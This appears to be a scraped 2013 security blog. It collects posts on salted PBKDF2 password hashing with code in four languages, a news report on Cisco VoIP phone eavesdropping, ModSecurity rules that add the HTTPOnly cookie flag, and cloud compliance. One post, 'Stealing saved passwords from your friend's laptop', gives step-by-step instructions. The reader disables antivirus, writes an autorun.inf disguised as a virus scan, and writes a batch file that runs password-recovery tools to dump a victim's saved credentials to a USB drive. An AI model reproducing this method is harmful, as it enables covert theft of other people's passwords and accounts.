This is a theoretical attack. I've never seen it done in practice, and I seriously doubt it could be done over the internet. Nevertheless, the hashing code on this page compares strings in a way that takes the same amount of time no matter how much of the strings match, just in case the code gets used in an environment that's unusually vulnerable to timing atttacks (such as on an extremely slow processor).
The previous question explains why SlowEquals is necessary, this one explains how the code actually works.
The code uses the XOR "^" operator to compare integers for equality, instead of the "==" operator. The reason why is explained below. The result of XORing two integers will be zero if and only if they are exactly the same. This is because 0 XOR 0 = 0, 1 XOR 1 = 0, 0 XOR 1 = 1, 1 XOR 0 = 1. If we apply that to all the bits in both integers, the result will be zero only if all the bits matched.
So, in the first line, if a.length
is equal tob.length
, the diff variable will get a zero value, but if not, it will get some non-zero value. Next, we compare the bytes using XOR, and OR the result into diff. This will set diff to a non-zero value if the bytes differ. Because ORing never un-sets bits, the only way diff will be zero at the end of the loop is if it was zero before the loop began (a.length == b.length) and all of the bytes in the two arrays match (none of the XORs resulted in a non-zero value).
The reason we need to use XOR instead of the "==" operator to compare integers is that "==" is usually translated/compiled/interpreted as a branch. For example, the C code "diff &= a == b
" might compile to the following x86 assembly:
The branching makes the code execute in a different amount of time depending on the equality of the integers and the CPU's internal branch prediction state.
The C code "diff |= a ^ b
" should compile to something like the following, whose execution time does not depend on the equality of the integers:
Your users are entering their password into your website. They are trusting you with their security. If your database gets hacked, and your users' passwords are unprotected, then malicious hackers can use those passwords to compromise your users' accounts on other websites and services (most people use the same password everywhere). It's not just your security that's at risk, it's your users'. You are responsible for your users' security.
PHP Source Code | Java Source Code | ASP.NET (C#) Source Code | Ruby (on Rails) Source Code |
The following code is a secure implementation of PBKDF2 hashing in PHP. You can find a test suite and benchmark code for it on Defuse Security's PBKDF2 for PHP page. The code is in the public domain, so you may use it for any purpose whatsoever.
If you need compatible PHP and C# implementations, see here.
<?php
/*
* Password hashing with PBKDF2.
* Author: havoc AT defuse.ca
* www: https://defuse.ca/php-pbkdf2.htm
*/
// These constants may be changed without breaking existing hashes.
define("PBKDF2_HASH_ALGORITHM", "sha256");
define("PBKDF2_ITERATIONS", 1000);
define("PBKDF2_SALT_BYTE_SIZE", 24);
define("PBKDF2_HASH_BYTE_SIZE", 24);
define("HASH_SECTIONS", 4);
define("HASH_ALGORITHM_INDEX", 0);
define("HASH_ITERATION_INDEX", 1);
define("HASH_SALT_INDEX", 2);
define("HASH_PBKDF2_INDEX", 3);
function create_hash($password)
{
// format: algorithm:iterations:salt:hash
$salt = base64_encode(mcrypt_create_iv(PBKDF2_SALT_BYTE_SIZE, MCRYPT_DEV_URANDOM));
return PBKDF2_HASH_ALGORITHM . ":" . PBKDF2_ITERATIONS . ":" . $salt . ":" .
base64_encode(pbkdf2(
PBKDF2_HASH_ALGORITHM,
$password,
$salt,
PBKDF2_ITERATIONS,
PBKDF2_HASH_BYTE_SIZE,
true
));
}
function validate_password($password, $correct_hash)
{
$params = explode(":", $correct_hash);
if(count($params) < HASH_SECTIONS)
return false;
$pbkdf2 = base64_decode($params[HASH_PBKDF2_INDEX]);
return slow_equals(
$pbkdf2,
pbkdf2(
$params[HASH_ALGORITHM_INDEX],
$password,
$params[HASH_SALT_INDEX],
(int)$params[HASH_ITERATION_INDEX],
strlen($pbkdf2),
true
)
);
}
// Compares two strings $a and $b in length-constant time.
function slow_equals($a, $b)
{
$diff = strlen($a) ^ strlen($b);
for($i = 0; $i < strlen($a) && $i < strlen($b); $i++)
{
$diff |= ord($a[$i]) ^ ord($b[$i]);
}
return $diff === 0;
}
/*
* PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
* $algorithm - The hash algorithm to use. Recommended: SHA256
* $password - The password.
* $salt - A salt that is unique to the password.
* $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
* $key_length - The length of the derived key in bytes.
* $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
* Returns: A $key_length-byte key derived from the password and salt.
*
* Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
*
* This implementation of PBKDF2 was originally created by https://defuse.ca
* With improvements by http://www.variations-of-shadow.com
*/
function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
{
$algorithm = strtolower($algorithm);
if(!in_array($algorithm, hash_algos(), true))
die('PBKDF2 ERROR: Invalid hash algorithm.');
if($count <= 0 || $key_length <= 0)
die('PBKDF2 ERROR: Invalid parameters.');
$hash_length = strlen(hash($algorithm, "", true));
$block_count = ceil($key_length / $hash_length);
$output = "";
for($i = 1; $i <= $block_count; $i++) {
// $i encoded as 4 bytes, big endian.
$last = $salt . pack("N", $i);
// first iteration
$last = $xorsum = hash_hmac($algorithm, $last, $password, true);
// perform the other $count - 1 iterations
for ($j = 1; $j < $count; $j++) {
$xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
}
$output .= $xorsum;
}
if($raw_output)
return substr($output, 0, $key_length);
else
return bin2hex(substr($output, 0, $key_length));
}
?>
PHP Source Code | Java Source Code | ASP.NET (C#) Source Code | Ruby (on Rails) Source Code |
The following code is a secure implementation of PBKDF2 hashing in Java. The code is in the public domain, so you may use it for any purpose whatsoever.
import java.security.SecureRandom;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.SecretKeyFactory;
import java.math.BigInteger;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
/*
* PBKDF2 salted password hashing.
* Author: havoc AT defuse.ca
* www: http://crackstation.net/hashing-security.htm
*/
public class PasswordHash
{
public static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA1";
// The following constants may be changed without breaking existing hashes.
public static final int SALT_BYTE_SIZE = 24;
public static final int HASH_BYTE_SIZE = 24;
public static final int PBKDF2_ITERATIONS = 1000;
public static final int ITERATION_INDEX = 0;
public static final int SALT_INDEX = 1;
public static final int PBKDF2_INDEX = 2;
/**
* Returns a salted PBKDF2 hash of the password.
*
* @param password the password to hash
* @return a salted PBKDF2 hash of the password
*/
public static String createHash(String password)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
return createHash(password.toCharArray());
}
/**
* Returns a salted PBKDF2 hash of the password.
*
* @param password the password to hash
* @return a salted PBKDF2 hash of the password
*/
public static String createHash(char[] password)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
// Generate a random salt
SecureRandom random = new SecureRandom();
byte[] salt = new byte[SALT_BYTE_SIZE];
random.nextBytes(salt);
// Hash the password
byte[] hash = pbkdf2(password, salt, PBKDF2_ITERATIONS, HASH_BYTE_SIZE);
// format iterations:salt:hash
return PBKDF2_ITERATIONS + ":" + toHex(salt) + ":" + toHex(hash);
}
/**
* Validates a password using a hash.
*
* @param password the password to check
* @param correctHash the hash of the valid password
* @return true if the password is correct, false if not
*/
public static boolean validatePassword(String password, String correctHash)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
return validatePassword(password.toCharArray(), correctHash);
}
/**
* Validates a password using a hash.
*
* @param password the password to check
* @param correctHash the hash of the valid password
* @return true if the password is correct, false if not
*/
public static boolean validatePassword(char[] password, String correctHash)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
// Decode the hash into its parameters
String[] params = correctHash.split(":");
int iterations = Integer.parseInt(params[ITERATION_INDEX]);
byte[] salt = fromHex(params[SALT_INDEX]);
byte[] hash = fromHex(params[PBKDF2_INDEX]);
// Compute the hash of the provided password, using the same salt,
// iteration count, and hash length
byte[] testHash = pbkdf2(password, salt, iterations, hash.length);
// Compare the hashes in constant time. The password is correct if
// both hashes match.
return slowEquals(hash, testHash);
}
/**
* Compares two byte arrays in length-constant time. This comparison method
* is used so that password hashes cannot be extracted from an on-line
* system using a timing attack and then attacked off-line.
*
* @param a the first byte array
* @param b the second byte array
* @return true if both byte arrays are the same, false if not
*/
private static boolean slowEquals(byte[] a, byte[] b)
{
int diff = a.length ^ b.length;
for(int i = 0; i < a.length && i < b.length; i++)
diff |= a[i] ^ b[i];
return diff == 0;
}
/**
* Computes the PBKDF2 hash of a password.
*
* @param password the password to hash.
* @param salt the salt
* @param iterations the iteration count (slowness factor)
* @param bytes the length of the hash to compute in bytes
* @return the PBDKF2 hash of the password
*/
private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}
/**
* Converts a string of hexadecimal characters into a byte array.
*
* @param hex the hex string
* @return the hex string decoded into a byte array
*/
private static byte[] fromHex(String hex)
{
byte[] binary = new byte[hex.length() / 2];
for(int i = 0; i < binary.length; i++)
{
binary[i] = (byte)Integer.parseInt(hex.substring(2*i, 2*i+2), 16);
}
return binary;
}
/**
* Converts a byte array into a hexadecimal string.
*
* @param array the byte array to convert
* @return a length*2 character string encoding the byte array
*/
private static String toHex(byte[] array)
{
BigInteger bi = new BigInteger(1, array);
String hex = bi.toString(16);
int paddingLength = (array.length * 2) - hex.length();
if(paddingLength > 0)
return String.format("%0" + paddingLength + "d", 0) + hex;
else
return hex;
}
/**
* Tests the basic functionality of the PasswordHash class
*
* @param args ignored
*/
public static void main(String[] args)
{
try
{
// Print out 10 hashes
for(int i = 0; i < 10; i++)
System.out.println(PasswordHash.createHash("p\r\nassw0Rd!"));
// Test password validation
boolean failure = false;
System.out.println("Running tests...");
for(int i = 0; i < 100; i++)
{
String password = ""+i;
String hash = createHash(password);
String secondHash = createHash(password);
if(hash.equals(secondHash)) {
System.out.println("FAILURE: TWO HASHES ARE EQUAL!");
failure = true;
}
String wrongPassword = ""+(i+1);
if(validatePassword(wrongPassword, hash)) {
System.out.println("FAILURE: WRONG PASSWORD ACCEPTED!");
failure = true;
}
if(!validatePassword(password, hash)) {
System.out.println("FAILURE: GOOD PASSWORD NOT ACCEPTED!");
failure = true;
}
}
if(failure)
System.out.println("TESTS FAILED!");
else
System.out.println("TESTS PASSED!");
}
catch(Exception ex)
{
System.out.println("ERROR: " + ex);
}
}
}
PHP Source Code | Java Source Code | ASP.NET (C#) Source Code | Ruby (on Rails) Source Code |
The following code is a secure implementation of salted hashing in C# for ASP.NET. It is in the public domain, so you may use it for any purpose whatsoever.
If you need compatible PHP and C# implementations, see here.
using System;
using System.Text;
using System.Security.Cryptography;
namespace PasswordHash
{
/// <summary>
/// Salted password hashing with PBKDF2-SHA1.
/// Author: havoc AT defuse.ca
/// www: http://crackstation.net/hashing-security.htm
/// Compatibility: .NET 3.0 and later.
/// </summary>
public class PasswordHash
{
// The following constants may be changed without breaking existing hashes.
public const int SALT_BYTE_SIZE = 24;
public const int HASH_BYTE_SIZE = 24;
public const int PBKDF2_ITERATIONS = 1000;
public const int ITERATION_INDEX = 0;
public const int SALT_INDEX = 1;
public const int PBKDF2_INDEX = 2;
/// <summary>
/// Creates a salted PBKDF2 hash of the password.
/// </summary>
/// <param name="password">The password to hash.</param>
/// <returns>The hash of the password.</returns>
public static string CreateHash(string password)
{
// Generate a random salt
RNGCryptoServiceProvider csprng = new RNGCryptoServiceProvider();
byte[] salt = new byte[SALT_BYTE_SIZE];
csprng.GetBytes(salt);
// Hash the password and encode the parameters
byte[] hash = PBKDF2(password, salt, PBKDF2_ITERATIONS, HASH_BYTE_SIZE);
return PBKDF2_ITERATIONS + ":" +
Convert.ToBase64String(salt) + ":" +
Convert.ToBase64String(hash);
}
/// <summary>
/// Validates a password given a hash of the correct one.
/// </summary>
/// <param name="password">The password to check.</param>
/// <param name="correctHash">A hash of the correct password.</param>
/// <returns>True if the password is correct. False otherwise.</returns>
public static bool ValidatePassword(string password, string correctHash)
{
// Extract the parameters from the hash
char[] delimiter = { ':' };
string[] split = correctHash.Split(delimiter);
int iterations = Int32.Parse(split[ITERATION_INDEX]);
byte[] salt = Convert.FromBase64String(split[SALT_INDEX]);
byte[] hash = Convert.FromBase64String(split[PBKDF2_INDEX]);
byte[] testHash = PBKDF2(password, salt, iterations, hash.Length);
return SlowEquals(hash, testHash);
}
/// <summary>
/// Compares two byte arrays in length-constant time. This comparison
/// method is used so that password hashes cannot be extracted from
/// on-line systems using a timing attack and then attacked off-line.
/// </summary>
/// <param name="a">The first byte array.</param>
/// <param name="b">The second byte array.</param>
/// <returns>True if both byte arrays are equal. False otherwise.</returns>
private static bool SlowEquals(byte[] a, byte[] b)
{
uint diff = (uint)a.Length ^ (uint)b.Length;
for (int i = 0; i < a.Length && i < b.Length; i++)
diff |= (uint)(a[i] ^ b[i]);
return diff == 0;
}
/// <summary>
/// Computes the PBKDF2-SHA1 hash of a password.
/// </summary>
/// <param name="password">The password to hash.</param>
/// <param name="salt">The salt.</param>
/// <param name="iterations">The PBKDF2 iteration count.</param>
/// <param name="outputBytes">The length of the hash to generate, in bytes.</param>
/// <returns>A hash of the password.</returns>
private static byte[] PBKDF2(string password, byte[] salt, int iterations, int outputBytes)
{
Rfc2898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(password, salt);
pbkdf2.IterationCount = iterations;
return pbkdf2.GetBytes(outputBytes);
}
}
}
PHP Source Code | Java Source Code | ASP.NET (C#) Source Code | Ruby (on Rails) Source Code |
The following is a secure implementation of salted PBKDF2 password hashing in Ruby. The code is public domain, so you may use it for any purpose whatsoever.
require 'securerandom'
require 'openssl'
require 'base64'
# Salted password hashing with PBKDF2-SHA1.
# Authors: @RedragonX (dicesoft.net), havoc AT defuse.ca
# www: http://crackstation.net/hashing-security.htm
module PasswordHash
# The following constants can be changed without breaking existing hashes.
PBKDF2_ITERATIONS = 1000
SALT_BYTE_SIZE = 24
HASH_BYTE_SIZE = 24
HASH_SECTIONS = 4
SECTION_DELIMITER = ':'
ITERATIONS_INDEX = 1
SALT_INDEX = 2
HASH_INDEX = 3
# Returns a salted PBKDF2 hash of the password.
def self.createHash( password )
salt = SecureRandom.base64( SALT_BYTE_SIZE )
pbkdf2 = OpenSSL::PKCS5::pbkdf2_hmac_sha1(
password,
salt,
PBKDF2_ITERATIONS,
HASH_BYTE_SIZE
)
return ["sha1", PBKDF2_ITERATIONS, salt, Base64.encode64( pbkdf2 )].join( SECTION_DELIMITER )
end
# Checks if a password is correct given a hash of the correct one.
# correctHash must be a hash string generated with createHash.
def self.validatePassword( password, correctHash )
params = correctHash.split( SECTION_DELIMITER )
return false if params.length != HASH_SECTIONS
pbkdf2 = Base64.decode64( params[HASH_INDEX] )
testHash = OpenSSL::PKCS5::pbkdf2_hmac_sha1(
password,
params[SALT_INDEX],
params[ITERATIONS_INDEX].to_i,
pbkdf2.length
)
return pbkdf2 == testHash
end
# Run tests to ensure the module is functioning properly.
# Returns true if all tests succeed, false if not.
def self.runSelfTests
puts "Sample hashes:"
3.times { puts createHash("password") }
puts "\nRunning self tests..."
@@allPass = true
correctPassword = 'aaaaaaaaaa'
wrongPassword = 'aaaaaaaaab'
hash = createHash(correctPassword)
assert( validatePassword( correctPassword, hash ) == true, "correct password" )
assert( validatePassword( wrongPassword, hash ) == false, "wrong password" )
h1 = hash.split( SECTION_DELIMITER )
h2 = createHash( correctPassword ).split( SECTION_DELIMITER )
assert( h1[HASH_INDEX] != h2[HASH_INDEX], "different hashes" )
assert( h1[SALT_INDEX] != h2[SALT_INDEX], "different salt" )
if @@allPass
puts "*** ALL TESTS PASS ***"
else
puts "*** FAILURES ***"
end
return @@allPass
end
def self.assert( truth, msg )
if truth
puts "PASS [#{msg}]"
else
puts "FAIL [#{msg}]"
@@allPass = false
end
end
end
PasswordHash.runSelfTests
CVE-2013-2251 Apache Struts2 Remote Shell Exploit (1) | 2013.07.19 |
---|---|
unlock android password (0) | 2013.07.18 |
Stealing saved passwords from your friend’s laptop (0) | 2013.07.11 |
Cisco VoIP Hijacking (0) | 2013.06.04 |
NMAP : information gathering with mmap (0) | 2013.02.17 |
Just the trick you might be interested in. Not really a hacker’s stuff, just follow the steps and you can do it without being hooked up in the middle of the process.
This trick works in all windows version up-to Windows Vista. We basically use the autorun.inf file for this, which runs automatically in operating systems up-to Vista, but not supported in Windows 7. That doesn’t mean that its not of any use for Windows7 users. I will tell you everything about how to proceed with this.
Before going to the main exploitation, want to tell you something about the tools you need for this:
Generally people store their login details into the browser to avoid unnecessary typing usernames and passwords at the next login. But that’s what we need for this.
Note:Kindly disable your antivirus before performing these steps
Now we are almost ready to go!!
1.First of all download the tools i described, or at least one of them for testing this on your pc/laptop, and copy the .exe files in your USB pen drive i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from New Text Document.txt to autorun.inf, renaming through command prompt might be the easier way.
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it corresponding to the tools you are using.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB pen drive.
Now your USB Pen drive is ready!! All you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Launch virus scan) as soon as you will click it, again the window appears, press enter. Now you can see a new text file gets created in your USB Pen Drive. Open that text file, you can see an organized list of passwords from the victim’s pc. It has been tested by me, and it works most beautifully.
unlock android password (0) | 2013.07.18 |
---|---|
salted password hashing (0) | 2013.07.11 |
Cisco VoIP Hijacking (0) | 2013.06.04 |
NMAP : information gathering with mmap (0) | 2013.02.17 |
Cookie with HTTPOnly Flag (XSS Protection) (1) | 2013.02.02 |
Let’s say the doors and windows are all closed, all cell phones in the room are on Airplane mode as you and your business partners discuss some super-secret save-the-world formula. But “just because you are paranoid doesn't mean your phone isn't listening to everything you say,” warned DARPA (Defense Advanced Research Projects Agency) funded researchers at the 29th Chaos Communication Congress (29C3). During Hacking Cisco Phones, the researchers demonstrated how they could remotely turn on a phone’s microphone and eavesdrop from anywhere in the world. If the VoIP Cisco phone has a web cam, they could also turn that on without anyone the wiser.
This Cisco phone vulnerability would allow more than eavesdropping for espionage purposes. Columbia University Computer Science Professor Salvatore Stolfo, said, “Any government that would like to peer into the private lives of citizens could use this. This is a great opportunity to create a low-cost surveillance system that is already deployed. It's a monitoring infrastructure that's free, when you turn these into listening posts."
Columbia University Computer Science PhD candidate Ang Cui demonstrated how they easily inserted “malicious code into a Cisco VoIP phone (any of the 14 Cisco Unified IP Phone models) and start eavesdropping on private conversations—not just on the phone but also in the phone’s surroundings—from anywhere in the world.” A hacked phone could “then infect other phones on the same network and attack connected computers and devices such as printers.” According to Cui, “We could turn a phone into a walkie-talkie that was always on by rewriting its software with 900 bytes of code. Within 10 minutes, it could then go on to compromise every other phone on its network so that you could hear everything,”
Cisco had released a patch to close the vulnerability, but the researchers said it was ineffective in stopping attackers from eavesdropping on conversations. Cui added, “We don’t know of any solution to solve the systemic problem with Cisco’s IP Phone firmware except for the Symbiote technology or rewriting the firmware.” Now Cisco said its “A-Team is working on mitigations and a permanent patch. The company plans to issue a security advisory and a detailed mitigation document later this week.” The company had also told NBC News that “all Cisco IP phones feature a hard-wired light that will alert the user whenever the microphone is active," but the researchers showed that the speaker LED light indicating the microphone is on can be made to stay dark.
Cisco phones run a Unix-like operating system kernel. Columbia University showed this small wired device called a "thingp3wn3r" to plug into a RJ11 serial port of a Cisco phone and download malware. The extremely long Hacking Cisco Phones, 314 slides and nearly 2GB presentation [PDF] goes in depth into the hack. The 29C3 video showed the researchers using a mobile phone to connect to the thingp3wn3r over a Bluetooth connection to remotely deliver the exploit.
Columbia University Staff Research Scientist Michael Costello pointed out that Cisco phones are used in the White House, in Air Force One, in former CIA director David Petraeus’s office as well as in businesses large and small worldwide. “Having a vulnerability in a phone like this gives you ears in many skyscrapers in cities around the world,” Cui stated.
Dr. Howard Shrobe, DARPA Program Manager, added, "Computers often are at the core of many devices that most people do not think of as computers (e.g. phones, printers, power meters, cars and airplanes, for example) but which inherited the vulnerabilities of their embedded computer components. These devices have enormous impact in our everyday lives and in our critical infrastructures and are therefore a core concern.”
“It’s not just Cisco phones that are at risk. All VoIP phones are particularly problematic since they are everywhere and reveal our private communications,” warned Stolfo. “It’s relatively easy to penetrate any corporate phone system, any government phone system, any home with Cisco VoIP phones—they are not secure.”
According to the researchers, the solution to this problem is a “new defense technology, called Software Symbiotes, that protects them from exploitation. Cui added, “The beauty of the Symbiote is that it can be used to protect all kinds of embedded systems, from phones and printers to ATM machines and even cars—systems that we all use every day.”
The researchers see these Symbiotes as a kind of digital life form that tightly co-exists with arbitrary executables in a mutually defensive arrangement. “They extract computational resources (CPU cycles) from the host while simultaneously protecting the host from attack and exploitation,” explains Cui. “And, because they are by their nature so diverse, they can provide self-protection against direct attack by adversaries that directly target host defenses.”
Hacking Cisco Phones [PDF] Slide 210 states, “Cisco Unified IP Phone 7900 series, also referred to as Cisco TNP Phones contain an input validation vulnerability. A local authenticated attacker with the ability to place a malicious binary on the phone could leverage this issue to elevate their privileges or take complete control of the device.”
The issue is due to a failure to properly validate certain system calls made to the kernel of the device. This failure could allow the attacker to overwrite arbitrary portions of user or kernel space memory.
The following Cisco Unified IP Phone devices are affected:
- Cisco Unified IP Phone 7975G
- Cisco Unified IP Phone 7971G-GE
- Cisco Unified IP Phone 7970G
- Cisco Unified IP Phone 7965G
- Cisco Unified IP Phone 7962G
- Cisco Unified IP Phone 7961G
- Cisco Unified IP Phone 7961G-GE
- Cisco Unified IP Phone 7945G
- Cisco Unified IP Phone 7942G
- Cisco Unified IP Phone 7941G
- Cisco Unified IP Phone 7941G-GE
- Cisco Unified IP Phone 7931G
- Cisco Unified IP Phone 7911G
- Cisco Unified IP Phone 7906
The following models have reached end-of-life (EOL) status (for hardware only):
- Cisco Unified IP Phone 7971G-GE
- Cisco Unified IP Phone 7970G
- Cisco Unified IP Phone 7961G
- Cisco Unified IP Phone 7961G-GE
- Cisco Unified IP Phone 7941G
- Cisco Unified IP Phone 7941G-GE
- Cisco Unified IP Phone 7906
Until a patch that closes the hole in the Cisco assigned "CSCuc83860 bug," thingp3wn3r workarounds include "Restrict SSH and CLI access to trusted users only. Administrators may consider leveraging 802.1x device authentication to prevent unauthorized devices or systems from accessing the voice network."
salted password hashing (0) | 2013.07.11 |
---|---|
Stealing saved passwords from your friend’s laptop (0) | 2013.07.11 |
NMAP : information gathering with mmap (0) | 2013.02.17 |
Cookie with HTTPOnly Flag (XSS Protection) (1) | 2013.02.02 |
Cloud and Compliance Issues (0) | 2013.01.25 |
Stealing saved passwords from your friend’s laptop (0) | 2013.07.11 |
---|---|
Cisco VoIP Hijacking (0) | 2013.06.04 |
Cookie with HTTPOnly Flag (XSS Protection) (1) | 2013.02.02 |
Cloud and Compliance Issues (0) | 2013.01.25 |
AMAZON Security Pros and Cons (0) | 2013.01.23 |
Apache Setting for adding HTTPONLY cookie;
Header edit Set-Cookie "(?i)^((?:(?!;\s?HttpOnly).)+)$" "$1; HttpOnly"
Helping Protect Cookies with HTTPOnly Flag
If you are unfamiliar with what the HTTPOnly cookie flag is or why your web apps should use it, please refer to the following resources -
- Mitigating Cross-site Scripting With HTTP-only Cookies - http://msdn.microsoft.com/en-us/library/ms533046.aspx
- OWASP HTTPOnly Overview - http://www.owasp.org/index.php/HTTPOnly
The bottom line is this - while this cookie option flag does absolutely nothing to prevent XSS attacks, it does significanly help to prevent the #1 XSS attack goal which is stealing SessionIDs. While HTTPOnly is not a "silver bullet" by any means, the potential ROI of implement it is quite large. Notice I said "potential" as in order to provide the intended protections, two key players have to work together -
- Web Applications - whose job it is to append the "HTTPOnly" flag onto all Set-Cookie response headers for SessionIDs, and
- Web Browsers - whose job it is to identify and enforce the security restrictions on the cookie data so that javascript can not access the contents.
The current challenges to realizing the security benefit of the HTTPOnly flag is that universal adoption in both web apps and browsers is still not there yet. For example, depending on your web app platform, you may not have an easy mechanism to implementing this feature. For example - in Java you could following the example provided here on the OWASP site -http://www.owasp.org/index.php/HTTPOnly#Using_Java_to_Set_HTTPOnly, however this doesn't work well for the JSESSIONID as it is added by the framework. Jim Manico has been fighting the good fight to try and get Apache Tomcat developers to implement his patch to add in HTTPOnly support -http://manicode.blogspot.com/2008/08/httponly-in-tomcat-almost.html. The point is that with so many different web app development platforms, it isn't going to be easy to find support for this within every web app that you have to secure...
As for browsers - they too have sporadic, non-consistent adoption of HTTPOnly. It was for this reason that the OWASP Intrinsic Security group has started an RFC Spec for HTTPOnly - http://groups.google.com/group/ietf-httponly-wg. Hopefully this group will get some traction with the various browser developers.
So, at this point you might be asking yourself - Ryan, that is interesting news and all, but why is this being posted on the ModSecurity site? What can a web application firewall do to help with this issue? I would then in turn reply - Great question, I am glad that you asked. ;)
One of my pet peevs with the web application security space is the stigma that is associated with a WAF. Most everyone only focuses in on the negative security and blocking of attacks aspects of the typical WAF deployment and they fail to realize that WAFs are a highly specialized tool for HTTP. Depending on your circumstances, you may not ever intend to do blocking. There are many other use-cases for WAFs and how they can help, in this case as a tactical response tool to help address an underlying vulnerability In this case, we could monitor when back-end/protected web applications are handing out SessionIDs that are missing the HTTPOnly flag. This could raise an alert that would notify the proper personnel that they should see if editing the web language code is possible to add this feature in. A rule to do this with ModSecurity would look like this -
# Identifies SessiondIDs without HTTPOnly flag
#
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "!(?i:\;? ?httponly;?)" "chain,phase:3,t:none,pass,log,auditlog,msg:'AppDefect: Missing HttpOnly Cookie Flag.'"
SecRule MATCHED_VAR "(?i:(j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-_]?(id)?|cf(id|token)|sid))" "t:none"
While this rule is pretty useful for identifying and alerting of the issue, many organizations would like to take the next step and try and fix the issue. If the web application does not have a way to add in the HTTPOnly cookie flag option internally, you can actually leverage ModSecurity+Apache for this purpose. ModSecurity has the ability to set environmental data that Apache reads/acts upon. In this case, we can modify our previous rule slightly to use the "setenv" action and then we add an additional Apache "header" directive that will actually overwrite the data with new Set-Cookie data that includes the HTTPOnly flag -
# Identifies SessiondIDs without HTTPOnly flag and sets the "http_cookie" ENV
# Token for Apache to read
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "!(?i:\;? ?httponly;?)" "chain,phase:3,t:none,pass,nolog"
SecRule MATCHED_VAR "(?i:(j?sessionid|(php)?sessid|(asp|jserv|jw)?session[-_]?(id)?|cf(id|token)|sid))" "t:none,setenv:http_cookie=%{matched_var}"
# Now we use the Apache Header directive to set the new data
Header set Set-Cookie "%{http_cookie}e; HTTPOnly" env=http_cookie
The end result of this ruleset is that ModSecurity+Apache can transparently add on the HTTPOnly cookie flag on the fly to any Set-Cookie data that you define. Thanks goes to Brian Rectanus from Breach for working with me to get the Header directive syntax correct.
One note of warning - make sure that you understand how the web application is handling setting SessionIDs meaning if they are created server-side vs. client-side (in javascript). This rule set will work fine if the SessionIDs are generated server-side. If they are created client-side, however, this will disrupt session management.
Hopefully the data presented here will help people who would like to have the security benefit of this flag however are running into challenges with implementing it within the app.
Cisco VoIP Hijacking (0) | 2013.06.04 |
---|---|
NMAP : information gathering with mmap (0) | 2013.02.17 |
Cloud and Compliance Issues (0) | 2013.01.25 |
AMAZON Security Pros and Cons (0) | 2013.01.23 |
Metasploit : Bind TCP ? Reverse TCP? (1) | 2012.11.06 |
Depending upon which country you are in, people have varying rights regarding the data that you hold about them. Typically, an individual can ask to see this data or have this data destroyed and this data must be treated as confidential and not shared with other parties without the express permission of the individual. This situation is the same whether the data is behind a firewall or in the Public Cloud . However, Public Cloud-based data has additional challenges. Regulations vary between countries with stricter privacy controls forced by law in Europe compared to those in the USA.
Note:
This document is part of a collection of documents that comprise the Reference Architecture for Private Cloud document set. The Reference Architecture for Private Cloud documentation is a community collaboration project. Please feel free to edit this document to improve its quality. If you would like to be recognized for your work on improving this article, please include your name and any contact information you wish to share at the bottom of this page.
Most Public Cloud systems are international and this brings many benefits. The data can be accessed worldwide with minimal latency, there are remote backup copies of data which would be unaffected by natural disasters at a particular location, and the cloud vendor (Cloud Service Provider or CSP) can keep prices low by using sites in countries with lower costs.
There are risks which come with international storage and these should be assessed and mitigated through SLAs and contracts. There are also regulations that require the disclosure of private data to government agencies. Regulations which require privacy in one country are often contradictory to regulations which require disclosure in another. Geographic considerations mostly affect data storage, but may also affect data processing.
For example, in the United States of America the Federal Rules of Civil Procedure allows for discovery request which would breach both European and Canadian law. To further compound the issue, laws differ regionally. In the United States the Federal Rules of Civil Procedure has been adopted in only 35 states, whilst in Europe you might need to consider federal, national, and European law.
The reason that this is of particular concern to cloud computing is the geographically dispersed nature of Public Cloud storage. Unfortunately, the technology has progressed at a far faster rate than the laws governing it, but Public Cloud vendors often seem unaware or uninterested in current regulations. You should consider:
It is likely that this situation will be resolved in the near future as the Organisation for Economic Co-operation and Development (OECD) Directorate for Science, Technology and Industry is implementing guidelines on the protection of privacy and trans-border flows of personal data.
Industry compliance considerations are typically seen as an area where many cloud migrations flounder. Organizations such as financial and medical institutions typically operate under strict compliance regulations, so these bodies are always particularly aware of any issue that can have a regulatory implication. Typical regulatory requirements can include:
With Public Clouds, the idea of placing data that is subject to any regulatory oversight into this nebulous area called "the cloud" where it will be in the hands of a third party is simply not to be countenanced. And in many ways, this is an entirely understandable position to take. The fact is that it is the data owner who is responsible for meeting the terms of whatever regulation applies to that organization, regardless of any contracts with any third-party organizations.
Conversely, with Private Cloud implementations, there are significant advantages to be realised from this type of environment. One major advantage of implementing a Private Cloud is the possibility that data is no longer stored on the individual computers. With this fundamental shift in storage location should be enough to interest compliance officers that Private Cloud systems can make their lives simpler by centralizing data in one area where it can be tracked and audited more effectively.
